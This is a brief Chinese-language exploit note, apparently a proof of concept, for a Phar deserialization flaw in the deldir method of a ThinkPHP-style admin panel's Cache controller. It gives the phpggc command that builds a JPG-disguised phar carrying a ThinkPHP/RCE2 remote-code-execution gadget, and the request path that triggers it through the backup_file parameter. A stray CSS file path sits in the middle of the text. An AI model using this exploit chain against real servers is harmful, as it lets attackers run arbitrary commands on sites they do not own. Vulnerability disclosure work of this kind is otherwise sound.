位于 /admin/controller/Cache.php 控制器的 deldir 方法存在file_exists 函数，该函数可以直接导致Phar反序列化漏洞触发
"/static/index/css/login/framework7.ios.min.css"首先我们需要用phpggc生成一个绕过图片检测的phar反序列化脚本，用一张正常图片即可
./phpggc -pj 123.jpg -o evil.jpg ThinkPHP/RCE2 system whoami
/admin/cache/deldir?backup_file=phar://图片地址
